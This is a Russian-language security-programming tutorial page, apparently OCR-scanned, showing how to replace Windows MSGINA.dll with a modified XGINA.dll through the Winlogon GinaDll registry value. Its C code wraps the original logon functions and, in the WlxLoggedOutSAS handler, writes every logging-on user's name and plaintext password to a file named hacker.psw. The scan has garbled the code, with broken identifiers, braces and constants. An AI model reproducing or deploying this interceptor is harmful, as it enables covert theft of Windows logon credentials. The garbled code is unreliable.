Теория ОС | Безопасность | Сетевые ОС | TCP/IP | Windows 2000 | Лок. сети | Интернет | Защита

| Топология сети | Выч. сети
Корпоративные ИС | Учебник КС | C++ | Архитектура ЭВМ | Local Area Network | Брандмауэры | Паскаль | Базы данных | SQL Создание нового файла рисунка

Главы учебника по программированию систем безопасности

  • Характеристики подсистемы ввода/вывода
  • Структура пакета запроса ввода/вывода (IRP)
  • Описание буфера данных
  • Коды функции ввода/вывода
  • Диспетчерские точки входа драйвера
  • Многоуровневая модель драйверов
  • Реализация уровневых драйверов
  • Реализация драйверов-фильтров
  • Сериализация
  • Задержка обработки запросов IRP и постановка запросов IRP в очередь
  • Отмена запросов ввода/вывода
  • Механизмы синхронизации
  • Спин-блокировки
  • Диспетчерские объекты
  • Ресурсы Исполнительной системы
  • Обобщенная таблица механизмов синхронизации

    Модифицированная библиотека Gina

    f Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).
    Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll.
    XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:

    WLXNEGOTIATE
    WLXINITIALIZE
    WLXDISPLAYSASNOTICE
    WLXLOGGEDOUTSAS
    WLXACTIVATEUSERSHELL
    WLXLOGGEDONSAS
    WLXISLOCKOK
    WLXDISPLAYLOCKEDNOTICE
    WLXWKSTALOCKEDSAS
    g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;
    g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;
    g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL;
    g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;
    WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;
    WLXLOGOFF . g_lpWlxLogoff » NULL;
    WLXSHUTDOWN g_lpWlxShutdown - NULL;
    BOOL InitMSGinaDllO
    { .
    hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));
    if (hMSGinaDLL == NULL)
    {
    return FALSE; }
    MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK);
    g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate" );
    g_lpWlxInitialize = ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize" ) ;
    g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice" ); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS )GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS" );
    g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL, "WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(hMSGinaDLL,
    "WlxLoggedOnSAS" );
    g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL, "WlxIsLockOk" );
    g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS = ( -WLXWKSTALOCKEDSAS .) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS" ); g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk" ) ;
    g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff" ); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown" );
    MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"), MBJDK); return TRUE;
    Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:
    int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon
    PSID pLogonSid, //SID уникальный для текущей сессией logon
    PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,
    PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile )
    //указатель на одну из структур WLX_PROFILE_xxx { '
    int res,i; FILE *out;
    UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20,0}; UCHAR end[3]={OxD,OxA,0};
    MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK); //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(
    pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,
    pProfile );
    if(res == WLX_SAS_ACTION_LOGON) {
    for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)
    {
    if(pMprNotify!nfo->pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo->pszUserName[i]; //получение имени пользователя
    for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ )
    if(pMprNotify!nfo->pszPassword[i]==0) break;
    else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение пароля пользователя
    out=fopen ("с: \\hacker.psw", "r+b") ; if (out!=NULL) {
    f seek (out, 0, SEEK_END) ;
    //вывод имени пользователя в файл с: \\hacker .psw f write (cur rent_name, sizeof (char) , strlen (current_name) , out);
    fwrite (pro, sizeof (char) , 1, out) ;
    //вывод пароля пользователя в файл с: \\hacker .psw fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;
    fwrite (end, sizeof (char) , 2, out) ; fclose (out) ;
    '
    return res;

     
    Классификация операционных систем Виртуальная память Реализация многозадачности
    Системы безопасности Операционная система Linux Введение в компьютерные сети Принципы построения вычислительных систем Базовые технологии локальной сетиСредства анализа Процедуры и функции Pascal Язык запросов SQL Программирование на СИ Брандмауэры Протоколы TCP/IP Файловые системы Драйверы устройств